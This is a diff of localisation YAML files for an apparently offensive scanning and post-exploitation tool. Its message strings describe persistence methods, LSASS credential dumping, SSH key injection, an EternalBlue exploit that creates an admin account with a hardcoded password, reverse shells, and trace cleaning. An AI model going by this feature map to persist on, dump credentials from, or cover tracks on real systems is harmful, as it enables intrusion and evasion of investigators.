+systemdservice_header: + other: "=== System service persistence ===" +systemdservice_create_failed: + other: "✗ Failed to create systemd service: {{.Arg1}}" +systemdservice_created: + other: "✓ systemd service created: {{.Arg1}}" +systemdservice_start_failed: + other: "✗ Failed to start service: {{.Arg1}}" +systemdservice_started: + other: "✓ Service enabled and started" +systemdservice_user_create_failed: + other: "✗ Failed to create user service: {{.Arg1}}" +systemdservice_user_created: + other: "✓ User service created: {{.Arg1}}" +systemdservice_timer_create_failed: + other: "✗ Failed to create timer service: {{.Arg1}}" +systemdservice_timer_created: + other: "✓ systemd timer created" +systemdservice_complete_summary: + other: "System service persistence completed: success({{.Arg1}}) total({{.Arg2}})" +service_dir_create_failed: + other: "Unable to create service directory" +systemdservice_create_none: + other: "Unable to create any systemd service file" +service_operation_error: + other: "Service operation error" +ldpreload_linux_only: + other: "LD_PRELOAD persistence only supports Linux" +ldpreload_so_required: + other: "Target file must be a .so dynamic library: {{.Arg1}}" +invalid_file_type: + other: "Invalid file type" +ldpreload_header: + other: "=== LD_PRELOAD persistence ===" +ldpreload_copy_system_failed: + other: "✗ Failed to copy file to system directory: {{.Arg1}}" +ldpreload_env_add_failed: + other: "✗ Failed to add environment variable: {{.Arg1}}" +ldpreload_env_added: + other: "✓ Added to global environment variables" +ldpreload_shell_add_failed: + other: "✗ Failed to add shell configuration: {{.Arg1}}" +ldpreload_shell_added: + other: "✓ Added to shell configuration: {{.Arg1}}" +ldpreload_config_create_failed: + other: "✗ Failed to create ld config: {{.Arg1}}" +ldpreload_config_created: + other: "✓ ld preload config created" +ldpreload_complete_summary: + other: "LD_PRELOAD persistence completed: success({{.Arg1}}) total({{.Arg2}})" +ldpreload_system_lib_dir_not_found: + other: "No suitable system library directory found" +ldpreload_shell_config_modify_none: + other: "Unable to modify any shell configuration file" +cleaner_removed: + other: "[Clean] {{.Arg1}}" +cleaner_history_removed: + other: "[Clean] removed fscan records from {{.Arg1}}" +sshkey_mkdir_failed: + other: "[Failed] {{.Arg1}}: unable to create .ssh directory: {{.Arg2}}" +sshkey_generate_failed: + other: "[Failed] {{.Arg1}}: key generation failed: {{.Arg2}}" +sshkey_authorized_read_failed: + other: "[Failed] {{.Arg1}}: failed to read authorized_keys: {{.Arg2}}" +sshkey_public_exists: + other: "[Skip] {{.Arg1}}: public key already exists" +sshkey_authorized_write_failed: + other: "[Failed] {{.Arg1}}: unable to write authorized_keys: {{.Arg2}}" +sshkey_private_save_failed: + other: "[Failed] {{.Arg1}}: failed to save private key: {{.Arg2}}" +sshkey_injected: + other: "[Success] {{.Arg1}}: public key injected into {{.Arg2}}, private key saved as {{.Arg3}}" +minidump_admin_required: + other: "Administrator privileges required" +minidump_load_dll_failed: + other: "Failed to load system DLL: {{.Arg1}}" +minidump_try_direct: + other: "[*] Trying direct memory dump..." +minidump_av_skip_direct: + other: "[*] Security software protection detected, skipping direct dump" +minidump_try_comsvcs: + other: "[*] Trying comsvcs.dll method..." +minidump_try_regsave: + other: "[*] Trying reg save registry export..." +minidump_all_failed: + other: "[!] All methods failed" +minidump_all_methods_failed: + other: "All credential extraction methods failed" +minidump_find_lsass_failed: + other: " Failed to find lsass.exe: {{.Arg1}}" +minidump_privilege_failed: + other: " Privilege escalation failed: {{.Arg1}}" +minidump_direct_failed: + other: " Direct dump failed: {{.Arg1}}" +minidump_method_direct: + other: "Direct memory dump" +minidump_comsvcs_failed: + other: " comsvcs.dll failed: {{.Arg1}}" +minidump_hive_export_failed: + other: " ✗ {{.Arg1}} export failed" +minidump_regsave_done: + other: "[+] Registry hive export completed, parse offline with secretsdump" +minidump_method_success: + other: "[+] {{.Arg1}} succeeded: {{.Arg2}} ({{.Arg3}} bytes)" +minidump_load_named_dll_failed: + other: "Failed to load {{.Arg1}}" +minidump_find_proc_failed: + other: "Failed to find {{.Arg1}} function" +minidump_snapshot_create_failed: + other: "Failed to create process snapshot" +minidump_first_process_failed: + other: "Failed to get first process" +minidump_process_name_convert_failed: + other: "Failed to convert process name" +minidump_process_not_found: + other: "Process not found: {{.Arg1}}" +minidump_open_process_token_failed: + other: "Failed to open process token" +minidump_privilege_name_convert_failed: + other: "Failed to convert privilege name" +minidump_lookup_privilege_failed: + other: "Failed to look up privilege value" +minidump_adjust_token_failed: + other: "Failed to adjust token privileges" +minidump_current_process_failed: + other: "Failed to get current process handle" +minidump_timeout: + other: "Memory dump timed out (120 seconds)" +minidump_write_dump_failed: + other: "Failed to write dump file" +minidump_open_process_failed: + other: "Failed to open process" +file_create_failed: + other: "Failed to create file" +local_step_failed: + other: "[Failed] {{.Arg1}}: {{.Arg2}}" +local_step_success: + other: "[Success] {{.Arg1}}" +local_step_success_detail: + other: "[Success] {{.Arg1}} ({{.Arg2}})" +local_step_success_arrow: + other: "[Success] {{.Arg1}} -> {{.Arg2}}" +winregistry_current_user_run: + other: "Current user Run" +winregistry_local_machine_run: + other: "Local machine Run" +winregistry_current_user_runonce: + other: "Current user RunOnce" +winregistry_step_success: + other: "[Success] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" +winifeo_sticky_keys: + other: "Sticky Keys (Shift x5)" +winifeo_accessibility: + other: "Accessibility (Win+U)" +winifeo_narrator: + other: "Narrator" +winlogon_userinit_append: + other: "Userinit append" +winlogon_shell_append: + other: "Shell append" +winbits_create_task_failed: + other: "[Failed] Create task: {{.Arg1}}" +winbits_guid_extract_failed: + other: "[Failed] Unable to extract task GUID" +winbits_task_created: + other: "[Success] Created task: {{.Arg1}} ({{.Arg2}})" +winbits_add_file: + other: "Add file" +winbits_set_callback: + other: "Set callback" +winbits_set_retry: + other: "Set retry" +winbits_resume_task: + other: "Resume task" +winstartup_user_folder: + other: "User startup folder" +winstartup_common_folder: + other: "Common startup folder" +cleaner_restore_winlogon_shell: + other: "[Restore] Winlogon Shell: {{.Arg1}} -> {{.Arg2}}" +cleaner_restore_winlogon_userinit: + other: "[Restore] Winlogon Userinit: {{.Arg1}} -> {{.Arg2}}" +cleaner_ifeo_removed: + other: "[Clean] IFEO: {{.Arg1}}" +cleaner_registry_removed: + other: "[Clean] Registry: {{.Arg1}}\\{{.Arg2}}" +cleaner_schtask_removed: + other: "[Clean] Scheduled task: {{.Arg1}}" +cleaner_service_removed: + other: "[Clean] Service: {{.Arg1}}" +cleaner_startup_removed: + other: "[Clean] Startup folder: {{.Arg1}}" +cleaner_bits_removed: + other: "[Clean] BITS: {{.Arg1}}" +cleaner_wmi_removed: + other: "[Clean] WMI event subscription" +cleaner_prefetch_removed: + other: "[Clean] Prefetch: {{.Arg1}}" +systeminfo_antivirus_process_count: + other: "{{.Arg1}} ({{.Arg2}} processes)" +powershell_exec_failed: + other: "PowerShell execution failed" +command_output: + other: "output" +webtitle_no_fingerprint_skip_poc: + other: "WebTitle {{.Arg1}} has no matching fingerprint, skipping POC scan" +webtitle_cdn_waf_skip_poc: + other: "WebTitle {{.Arg1}} detected {{.Arg2}}, skipping POC scan" +webtitle_trigger_fingerprint_poc: + other: "WebTitle {{.Arg1}} triggered fingerprint POC scan: {{.Arg2}}" +webpoc_disabled: + other: "POC scan is disabled" +webpoc_full_scan_mode: + other: "WebPOC {{.Arg1}} full scan mode" +web_result_weak_credential: + other: "Weak credential" +web_result_anonymous_access: + other: "Anonymous access" +web_result_vulnerability: + other: "Vulnerability" +web_result_weak_credential_detail: + other: "Weak credential: {{.Arg1}}" # ========================= Redis Plugin Messages ========================= redis_reconnect_failed: @@ -825,10 +1575,100 @@ webscan_request_restricted: other: "POC HTTP request {{.Arg1}} restricted: {{.Arg2}}" webscan_response_parse_failed: other: "Response parse failed: {{.Arg1}}" +webscan_err_invalid_url: + other: "Invalid URL format" +webscan_err_empty_target: + other: "Target URL is empty" +webscan_err_poc_not_found: + other: "No matching POC found" +webscan_err_poc_load_failed: + other: "POC load failed" +fingerprint_enhanced_parse_failed: + other: "Failed to parse enhanced fingerprint database" +webscan_cel_env_not_initialized: + other: "Base CEL environment is not initialized" +webscan_expression_compile_failed: + other: "Expression compile failed" +webscan_program_create_failed: + other: "Program creation failed" +webscan_expression_eval_failed: + other: "Expression evaluation failed" +webscan_request_execute_failed: + other: "Request execution failed" +webscan_request_body_read_failed: + other: "Failed to read request body" +webscan_response_body_process_failed: + other: "Failed to process response body" +webscan_http_client_init_failed: + other: "HTTP client initialization failed" +webscan_socks5_proxy_config_failed: + other: "SOCKS5 proxy configuration failed" +webscan_unsupported_proxy_type: + other: "Unsupported proxy type" +webscan_proxy_url_parse_failed: + other: "Proxy URL parse failed" +webscan_strmap_parse_failed: + other: "StrMap parse failed: key or value is not a string" +webscan_rulemap_key_invalid: + other: "RuleMap parse failed: key is not a string" +webscan_listmap_key_invalid: + other: "ListMap parse failed: key is not a string" +webscan_listmap_value_invalid: + other: "ListMap parse failed: value is not an array" +webscan_poc_load_one_failed: + other: "POC load failed {{.Arg1}}: {{.Arg2}}" +webscan_poc_parse_failed: + other: "POC parse failed" +webscan_poc_convert_failed: + other: "POC format conversion failed" +webscan_poc_file_read_failed: + other: "POC file read failed" +webscan_poc_dir_read_failed: + other: "Failed to read POC directory: {{.Arg1}}" +webscan_unknown_poc_format: + other: "Unknown POC format" +webscan_fscan_format_parse_failed: + other: "fscan format parse failed" +webscan_nuclei_format_parse_failed: + other: "nuclei format parse failed" +webscan_nuclei_no_http_rules: + other: "nuclei template has no valid HTTP rules" +webscan_xray_format_parse_failed: + other: "xray format parse failed" +webscan_xray_no_rules: + other: "xray POC has no valid rules" +webscan_afrog_format_parse_failed: + other: "afrog format parse failed" +webscan_afrog_no_rules: + other: "afrog POC has no valid rules" +webscan_vuln_detail_header: + other: "Target: {{.Arg1}}\n Vulnerability type: {{.Arg2}}\n Vulnerability name: {{.Arg3}}\n Details:" +webscan_vuln_author: + other: "Author: {{.Arg1}}" +webscan_vuln_references: + other: "References: {{.Arg1}}" +webscan_vuln_description: + other: "Description: {{.Arg1}}" +webscan_exec_env_error: + other: "Execution environment error" +webscan_request_parse_error: + other: "Request parse error" +webscan_request_create_error: + other: "Request creation error" +webscan_vuln_detected: + other: "Vulnerability detected {{.Arg1}} {{.Arg2}}" +webscan_vuln_detected_params: + other: "Vulnerability detected {{.Arg1}} {{.Arg2}} params: {{.Arg3}}" +webscan_http_request_error: + other: "HTTP request error" +webscan_request_send_error: + other: "Request send error" # Main entry param_error: other: "Parameter error: {{.Arg1}}" +param_exclusive: + other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan\n -local: local information collection" error_generic: other: "Error: {{.Arg1}}" init_failed: @@ -848,6 +1688,112 @@ web_shutting_down: web_mode_not_supported: other: "Web mode not supported in this build, rebuild with: go build -tags web" +# ========================= Debug Messages ========================= +debug_create_profiles_failed: + other: "Failed to create profiles directory: {{.Arg1}}" +debug_create_cpu_profile_failed: + other: "Failed to create CPU profile: {{.Arg1}}" +debug_start_cpu_profile_failed: + other: "Failed to start CPU profile: {{.Arg1}}" +debug_cpu_profile_started: + other: "CPU profiling started -> {{.Arg1}}/cpu.prof" +debug_create_trace_failed: + other: "Failed to create trace file: {{.Arg1}}" +debug_start_trace_failed: + other: "Failed to start trace: {{.Arg1}}" +debug_trace_started: + other: "Execution trace started -> {{.Arg1}}/trace.out" +debug_profiling_started: + other: "Profiling started, files will be saved to {{.Arg1}}/ when the program exits" +debug_cpu_profile_saved: + other: "CPU profile saved" +debug_trace_saved: + other: "Trace saved" +debug_create_mem_profile_failed: + other: "Failed to create memory profile: {{.Arg1}}" +debug_write_mem_profile_failed: + other: "Failed to write memory profile: {{.Arg1}}" +debug_mem_profile_saved: + other: "Memory profile saved -> {{.Arg1}}/mem.prof" +debug_create_goroutine_profile_failed: + other: "Failed to create goroutine profile: {{.Arg1}}" +debug_write_goroutine_profile_failed: + other: "Failed to write goroutine profile: {{.Arg1}}" +debug_goroutine_profile_saved: + other: "Goroutine profile saved -> {{.Arg1}}/goroutine.prof" +debug_profiles_saved: + other: "All profiling files saved to {{.Arg1}}/" +debug_view_methods: + other: "View methods:" +debug_cpu_flamegraph: + other: "CPU flamegraph" +debug_mem_flamegraph: + other: "Memory flamegraph" +debug_goroutine_analysis: + other: "Goroutine analysis" +debug_execution_timeline: + other: "Execution timeline" + +# ========================= Proxy Messages ========================= +proxy_unsupported_type: + other: "Unsupported proxy type" +proxy_empty_config: + other: "Configuration cannot be empty" +proxy_socks5_parse_failed: + other: "SOCKS5 proxy address parse failed" +proxy_socks5_create_failed: + other: "SOCKS5 dialer creation failed" +proxy_socks5_conn_timeout: + other: "SOCKS5 connection timed out" +proxy_socks5_conn_failed: + other: "SOCKS5 connection failed" +proxy_direct_conn_failed: + other: "Direct connection failed" +proxy_http_conn_failed: + other: "Failed to connect to HTTP proxy server" +proxy_http_set_write_timeout: + other: "Failed to set write timeout" +proxy_http_send_connect_failed: + other: "Failed to send CONNECT request" +proxy_http_set_read_timeout: + other: "Failed to set read timeout" +proxy_http_read_response_failed: + other: "Failed to read HTTP response" +proxy_http_status_failed: + other: "HTTP proxy connection failed, status code: %d" +proxy_tls_tcp_conn_failed: + other: "Failed to establish TCP connection" +proxy_tls_handshake_failed: + other: "TLS handshake failed" + +# ========================= Output Messages ========================= +output_section_hosts: + other: "# ===== Alive Hosts =====" +output_section_ports: + other: "# ===== Open Ports =====" +output_section_services: + other: "# ===== Services =====" +output_section_vulns: + other: "# ===== Vulnerabilities =====" +output_section_web_services: + other: "# ===== Web Services =====" + +# ========================= Port Fingerprint Messages ========================= +portfinger_probe_protocol_invalid: + other: "Probe protocol must be TCP or UDP" +portfinger_probe_name_invalid: + other: "nmap-service-probes - invalid probe name" +portfinger_input_empty: + other: "Input data is empty" +portfinger_probe_file_empty: + other: "Failed to read nmap-service-probes file: content is empty" +portfinger_probe_exclude_duplicate: + other: "nmap-service-probes file can contain only one Exclude directive" +portfinger_probe_first_line_invalid: + other: "Parse error: first line must start with \"Probe \" or \"Exclude \"" +portfinger_match_directive_invalid: + other: "Invalid {{.Arg1}} directive format" + # ========================= Service Plugin Common Messages ========================= service_no_credentials: other: "No available test credentials" diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index db530a4..e47d9cd 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -146,6 +146,10 @@ flag_language: other: "语言: zh, en" flag_help: other: "显示帮助信息" +flag_web_mode: + other: "启动Web管理界面" +flag_web_port: + other: "Web服务器端口" # ========================= 扫描模式消息 ========================= scan_mode_service_selected: other: "已选择服务扫描模式" @@ -195,6 +199,12 @@ progress_scanning_description: other: "扫描进度" progress_scan_completed: other: "扫描完成:" +progress_waiting: + other: "等待中..." +progress_done: + other: "完成" +progress_duration: + other: "耗时" concurrency_plugin: other: "插件" concurrency_local_plugin: @@ -243,12 +253,26 @@ parser_start_gt_end: other: "起始IP大于结束IP" network_rate_limited: other: "发包受限: {{.Arg1}}" +tcp_connection_restricted: + other: "TCP连接 {{.Arg1}} 受限: {{.Arg2}}" +http_request_restricted: + other: "HTTP请求 {{.Arg1}} 受限: {{.Arg2}}" +proxy_dialer_failed: + other: "获取代理拨号器失败: {{.Arg1}}" +connection_failed: + other: "连接 {{.Arg1}} 失败: {{.Arg2}}" +packet_limit_max_reached: + other: "已达到最大发包数量限制: {{.Arg1}}" +packet_limit_rate_limited: + other: "发包速率受限: {{.Arg1}}包/分钟" target_local_mode: other: "本地扫描模式" param_conflict_ao_icmp_both: other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式" param_local_multi_plugin: other: "本地插件只能指定单个插件,不支持使用 '{{.Arg1}}' 分隔的多个插件" +param_join_and: + other: "{{.Arg1}} 和 {{.Arg2}}" # ========================= 解析器消息 ========================= parser_empty_input: @@ -267,6 +291,20 @@ parser_hash_invalid_format: # ========================= 配置消息 ========================= config_web_timeout_warning: other: "Web超时时间大于普通超时时间,可能导致不期望的行为" +config_build_failed: + other: "配置构建失败" +output_init_failed: + other: "输出初始化失败" +config_credentials_parse_failed: + other: "凭据解析失败" +config_targets_parse_failed: + other: "目标解析失败" +config_read_users_failed: + other: "读取用户名文件 {{.Arg1}} 失败: {{.Arg2}}" +config_read_passwords_failed: + other: "读取密码文件 {{.Arg1}} 失败: {{.Arg2}}" +config_read_urls_failed: + other: "读取URL文件 {{.Arg1}} 失败: {{.Arg2}}" # ========================= 插件扫描消息 (带参数) ========================= scan_plugin_not_found: @@ -383,6 +421,48 @@ port_open_http: other: "端口开放 {{.Arg1}} [http](HTTP探测)" port_scan_no_alive_subnet: other: "网段预筛未发现存活子网,跳过端口扫描" +network_rate_limited_pattern: + other: "发包受限" +port_scan_debug_start: + other: "[PortScan] 开始: {{.Arg1}}个主机, 线程数={{.Arg2}}" +port_scan_debug_ports_parsed: + other: "[PortScan] 端口解析完成: {{.Arg1}}个端口" +proxy_echo_warning: + other: "检测到代理存在全回显问题,端口扫描结果可能不准确" +port_scan_debug_total_tasks: + other: "[PortScan] 总任务数: {{.Arg1}}" +large_scan_notice: + other: "大规模扫描: {{.Arg1}} 个目标 ({{.Arg2}}主机 × {{.Arg3}}端口)" +large_scan_thread_adjusted: + other: "自动调整线程数: {{.Arg1}} -> {{.Arg2}} (大规模扫描优化)" +port_scan_progress_description: + other: "端口扫描中({{.Arg1}}线程)" +port_scan_debug_progress_ready: + other: "[PortScan] 进度条初始化完成" +port_scan_debug_pool_create: + other: "[PortScan] 开始创建线程池, size={{.Arg1}}" +port_scan_debug_pool_created: + other: "[PortScan] 线程池创建成功" +port_scan_debug_schedule_start: + other: "[PortScan] 开始滑动窗口调度" +port_scan_debug_schedule_done: + other: "[PortScan] 滑动窗口调度完成" +proxy_verify_failed: + other: "代理验证失败 {{.Arg1}}: {{.Arg2}}" +proxy_error_response: + other: "代理返回错误响应 {{.Arg1}}" +proxy_probe_write_failed: + other: "探测写入失败 {{.Arg1}}: {{.Arg2}}" +proxy_probe_error_response: + other: "代理探测返回错误 {{.Arg1}}" +proxy_connection_rejected: + other: "代理连接被拒绝 {{.Arg1}}: {{.Arg2}}" +proxy_no_response_closed: + other: "代理连接无响应,判定为端口关闭 {{.Arg1}}" +subnet_prefilter_start: + other: "网段预筛: {{.Arg1}} 个 /24 子网, {{.Arg2}} 个主机" +subnet_prefilter_done: + other: "网段预筛完成: {{.Arg1}} 个存活 (网关命中 {{.Arg2}}), {{.Arg3}} 个跳过, 剩余 {{.Arg4}} 主机" # ========================= 本地扫描消息 ========================= local_plugin_info: @@ -439,6 +519,28 @@ start_web_scan: other: "开始Web扫描" start_scan: other: "开始扫描" +plugin_list_summary: + other: "{{.Arg1}} ... 等{{.Arg2}}个" +service_probe_empty_response: + other: "响应数据为空" +service_probe_microsoft_ds: + other: "特殊处理 microsoft-ds 服务" +service_probe_identified: + other: "服务识别结果: {{.Arg1}}, Banner: {{.Arg2}}" +service_probe_http_identified: + other: "识别为HTTP服务" +service_probe_unknown: + other: "未知服务" +service_probe_soft_match: + other: "软匹配服务: {{.Arg1}}" +icmp_debug_all_responded: + other: "[ICMP] 全部响应,耗时 {{.Arg1}}" +icmp_debug_max_wait: + other: "[ICMP] 达到最大等待时间 {{.Arg1}},存活 {{.Arg2}}/{{.Arg3}}" +icmp_debug_stable_done: + other: "[ICMP] 响应稳定,提前结束,耗时 {{.Arg1}},存活 {{.Arg2}}/{{.Arg3}}" +adaptive_pool_resource_exhausted: + other: "[AdaptivePool] 资源耗尽率 {{.Arg1}}%, 线程数 {{.Arg2}} -> {{.Arg3}}" # ========================= 服务插件通用消息 ========================= # 格式: {service}_{type} - type: credential/unauth/service/vuln @@ -562,6 +664,654 @@ ms17010_pipe_decrypt_error: other: "管道请求解密错误: {{.Arg1}}" ms17010_pipe_decode_error: other: "管道请求解码错误: {{.Arg1}}" +ms17010_port_only: + other: "MS17-010漏洞检测仅支持445端口" +ms17010_vuln_banner: + other: "MS17-010漏洞 ({{.Arg1}})" +ms17010_not_vulnerable: + other: "目标不存在MS17-010漏洞" +ms17010_exploit_header: + other: "=== MS17-010漏洞利用结果 - {{.Arg1}} ===" +ms17010_exploit_check_failed: + other: "[漏洞检测失败] {{.Arg1}}" +ms17010_exploit_not_vulnerable: + other: "[漏洞状态] 目标不存在MS17-010漏洞" +ms17010_exploit_confirmed: + other: "[漏洞确认] MS17-010漏洞存在" +ms17010_exploit_os: + other: "[操作系统] {{.Arg1}}" +ms17010_exploit_backdoor_found: + other: "[后门检测] 发现DOUBLEPULSAR后门" +ms17010_exploit_backdoor_not_found: + other: "[后门检测] 未发现DOUBLEPULSAR后门" +ms17010_exploit_mode: + other: "[利用模式] {{.Arg1}}" +ms17010_exploit_start_attack: + other: "[利用状态] 开始执行EternalBlue攻击..." +ms17010_exploit_failed: + other: "[利用结果] 利用失败: {{.Arg1}}" +ms17010_exploit_success: + other: "[利用结果] 漏洞利用成功完成" +ms17010_exploit_bind_hint: + other: "[连接建议] 使用以下命令连接Bind Shell:" +ms17010_exploit_add_hint: + other: "[访问建议] 已添加管理员账户,可以通过以下方式连接:" +ms17010_exploit_add_credential: + other: " 用户名: sysadmin 密码: 1qaz@WSX!@#4" +ms17010_exploit_guest_hint: + other: "[访问建议] 已激活Guest账户,可以直接远程连接" +ms17010_exploit_detect_only: + other: "[利用模式] 仅检测模式 (未配置Shellcode)" +ms17010_exploit_shellcode_hint: + other: "[建议] 可使用 -sc 参数配置Shellcode进行实际利用" +ms17010_exploit_supported_modes: + other: " 支持的模式: bind, add, guest 或自定义shellcode" +ms17010_base64_decode_failed: + other: "base64解码失败" +ms17010_aes_cipher_failed: + other: "创建AES密码块失败" +ms17010_ciphertext_too_short: + other: "密文长度过短" +ms17010_invalid_padding: + other: "无效的填充" +ms17010_padding_check_failed: + other: "填充验证失败" +ms17010_connection_error: + other: "连接错误" +ms17010_set_timeout_error: + other: "设置超时错误" +ms17010_send_protocol_error: + other: "发送协议请求错误" +ms17010_smbv1_unsupported: + other: "目标可能不支持SMBv1" +ms17010_smbv1_rejected: + other: "SMBv1协议协商被拒绝" +ms17010_send_session_error: + other: "发送会话请求错误" +ms17010_session_failed: + other: "SMB会话建立失败" +ms17010_session_rejected: + other: "SMB会话被拒绝" +ms17010_send_tree_error: + other: "发送树连接请求错误" +ms17010_read_tree_error: + other: "读取树连接响应错误" +ms17010_tree_response_incomplete: + other: "树连接响应不完整" +ms17010_send_pipe_error: + other: "发送管道请求错误" +ms17010_read_pipe_error: + other: "读取管道响应错误" +ms17010_pipe_response_incomplete: + other: "管道响应不完整" +ms17010_bind_shellcode_decrypt_failed: + other: "解密bind shellcode失败" +ms17010_add_shellcode_decrypt_failed: + other: "解密add shellcode失败" +ms17010_guest_shellcode_decrypt_failed: + other: "解密guest shellcode失败" +ms17010_shellcode_file_read_failed: + other: "读取Shellcode文件失败" +ms17010_invalid_shellcode: + other: "无效的Shellcode" +ms17010_shellcode_decode_failed: + other: "shellcode解码失败" +findnet_discovery_failed: + other: "网络发现失败" +findnet_hostname: + other: "主机名: {{.Arg1}}" +findnet_ipv4_count: + other: "IPv4: {{.Arg1}}个" +findnet_ipv6_count: + other: "IPv6: {{.Arg1}}个" +findnet_complete: + other: "网络信息收集完成" +findnet_rpc_request1_failed: + other: "发送RPC请求1失败" +findnet_rpc_response1_failed: + other: "读取RPC响应1失败" +findnet_rpc_request2_failed: + other: "发送RPC请求2失败" +findnet_rpc_response2_failed: + other: "读取RPC响应2失败" +netbios_port_only: + other: "NetBIOS插件仅支持137和139端口" +netbios_info_not_found: + other: "未发现有效的NetBIOS信息" +netbios_name_connect_failed: + other: "连接NetBIOS名称服务失败" +netbios_query_send_failed: + other: "发送NetBIOS查询失败" +netbios_response_read_failed: + other: "读取NetBIOS响应失败" +netbios_session_connect_failed: + other: "连接NetBIOS会话服务失败" +netbios_smb_negotiate_send_failed: + other: "发送SMB协商1失败" +netbios_smb_negotiate_read_failed: + other: "读取SMB协商1响应失败" +netbios_smb_session_send_failed: + other: "发送SMB Session Setup失败" +netbios_smb_session_read_failed: + other: "读取SMB Session Setup响应失败" +netbios_response_too_short: + other: "NetBIOS响应数据过短" +netbios_no_name_records: + other: "没有NetBIOS名称记录" +netbios_smb_response_too_short: + other: "SMB响应数据过短" +rdp_port_closed: + other: "RDP端口未开放" +rdp_remote_desktop_service: + other: "RDP远程桌面服务" +ssh_service_banner: + other: "SSH服务: {{.Arg1}}" +kafka_auth_required: + other: "Kafka (需要认证)" +oracle_connect_failed: + other: "无法连接到Oracle数据库" +oracle_default_account_banner: + other: "未授权访问 - 默认账户" +ftp_anonymous_access_detail: + other: "FTP {{.Arg1}} 匿名访问 - {{.Arg2}}:{{.Arg3}}" +ftp_anonymous_banner: + other: "FTP匿名访问" +unauthorized_access: + other: "未授权访问" +redis_ping_failed: + other: "redis PING测试失败: {{.Arg1}}" +redis_service_pong: + other: "Redis服务 (PONG响应)" +redis_service_auth_required: + other: "Redis服务 (需要认证)" +redis_service_protocol_response: + other: "Redis服务 (协议响应)" +redis_service_plain: + other: "Redis服务" +redis_key_file_read_failed: + other: "读取密钥文件 {{.Arg1}} 失败: {{.Arg2}}" +redis_key_file_empty: + other: "密钥文件 {{.Arg1}} 为空" +redis_host_format_invalid: + other: "主机地址格式错误" +smtp_anonymous_mail_allowed: + other: "未授权访问 - 允许匿名邮件发送" +smtp_open_relay: + other: "未授权访问 - 开放中继" +smtp_vrfy_user_enum: + other: "未授权访问 - VRFY命令枚举用户({{.Arg1}})" +smtp_expn_list_enum: + other: "未授权访问 - EXPN命令枚举邮件列表({{.Arg1}})" +smtp_mail_service_info: + other: "SMTP邮件服务 ({{.Arg1}})" +smtp_mail_service: + other: "SMTP邮件服务" +auth_required: + other: "需要认证" +empty_response_received: + other: "收到空响应" +unexpected_status_code: + other: "意外响应状态码" +unknown_status_code: + other: "未知错误,状态码" +ldap_all_dn_failed: + other: "所有DN格式都失败" +memcached_access_failed: + other: "无法访问Memcached服务" +memcached_connect_failed: + other: "无法连接到Memcached服务" +rsync_connect_failed: + other: "无法连接到Rsync服务" +rsync_modules_failed: + other: "无法获取模块列表" +rsync_unauth_modules: + other: "未授权访问 - 可用模块: {{.Arg1}}" +rsync_service_info: + other: "Rsync服务 ({{.Arg1}})" +rsync_file_sync_service: + other: "Rsync文件同步服务" +rabbitmq_guest_default_password: + other: "未授权访问 - guest默认密码" +cassandra_no_auth_cluster: + other: "Cassandra (无认证, 集群: {{.Arg1}})" +cassandra_auth_required: + other: "Cassandra (需要认证)" +telnet_unauth_service: + other: "Telnet远程终端服务 (未授权访问)" +telnet_auth_required: + other: "Telnet远程终端服务 (需要认证)" +telnet_password_only: + other: "Telnet远程终端服务 (只需密码)" +telnet_custom_welcome: + other: "Telnet远程终端服务 (自定义欢迎: {{.Arg1}})" +telnet_remote_terminal_service: + other: "Telnet远程终端服务" +postgresql_trust_unauth: + other: "未授权访问(trust认证)" +postgresql_trust_unauth_version: + other: "未授权访问(trust认证) - {{.Arg1}}" +activemq_stomp_send_failed: + other: "STOMP请求发送失败" +activemq_stomp_read_failed: + other: "STOMP响应读取失败" +activemq_stomp_empty_response: + other: "STOMP无响应数据" +activemq_stomp_auth_error: + other: "STOMP认证错误" +activemq_stomp_unknown_response: + other: "STOMP未知响应格式" +smb_port_only: + other: "SMB插件仅支持139和445端口" +smb_probe_failed: + other: "SMB协议探测失败" +smb_unauth_domain_access: + other: "SMB {{.Arg1}} 未授权访问 - {{.Arg2}}\\{{.Arg3}}:{{.Arg4}}" +smb_unauth_access: + other: "SMB {{.Arg1}} 未授权访问 - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_access_detail: + other: "SMB {{.Arg1}} 匿名访问 - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_banner: + other: "SMB匿名访问" +smbv1_negotiate_send_failed: + other: "发送SMBv1协商包失败" +smbv1_negotiate_read_failed: + other: "读取SMBv1协商响应失败: {{.Arg1}}" +smbv1_session_send_failed: + other: "发送SMBv1 Session Setup失败" +smbv1_session_read_failed: + other: "读取SMBv1 Session Setup响应失败" +smbv2_negotiate_send_failed: + other: "发送SMBv2协商包失败" +smbv2_negotiate_read_failed: + other: "读取SMBv2协商响应失败" +smbv2_session_send_failed: + other: "发送SMBv2 Session Setup失败" +smbv2_session_read_failed: + other: "读取SMBv2 Session Setup响应失败" +smbv2_ntlm_send_failed: + other: "发送SMBv2 NTLM包失败" +smbv2_ntlm_read_failed: + other: "读取SMBv2 NTLM响应失败" +connection_timeout: + other: "连接超时" +netbios_header_too_short: + other: "NetBIOS头部长度不足" +message_length_too_large: + other: "消息长度过大" +local_target: + other: "目标: {{.Arg1}}" +local_platform: + other: "平台: {{.Arg1}}" +local_listen_port: + other: "监听端口: {{.Arg1}}" +local_output_file: + other: "输出文件: {{.Arg1}}" +local_start_time: + other: "开始时间: {{.Arg1}}" +unsupported_platform: + other: "不支持的平台: {{.Arg1}}" +unsupported_os: + other: "不支持的操作系统: {{.Arg1}}" +connection_failed_plain: + other: "连接失败" +listen_port_failed: + other: "监听端口失败" +command_timeout: + other: "命令执行超时" +command_exec_failed: + other: "命令执行失败: {{.Arg1}}" +command_success_no_output: + other: "(命令执行成功,无输出)" +command_error_with_output: + other: "错误: {{.Arg1}}\n{{.Arg2}}" +reverseshell_header: + other: "=== Go原生反弹Shell ===" +reverseshell_error: + other: "反弹Shell错误: {{.Arg1}}" +reverseshell_done: + other: "✓ 反弹Shell已完成" +forwardshell_header: + other: "=== 正向Shell服务器 ===" +forwardshell_server_error: + other: "正向Shell服务器错误: {{.Arg1}}" +forwardshell_done: + other: "✓ 正向Shell服务已完成" +socks5_header: + other: "=== SOCKS5代理服务器 ===" +socks5_server_error: + other: "SOCKS5代理服务器错误: {{.Arg1}}" +socks5_done: + other: 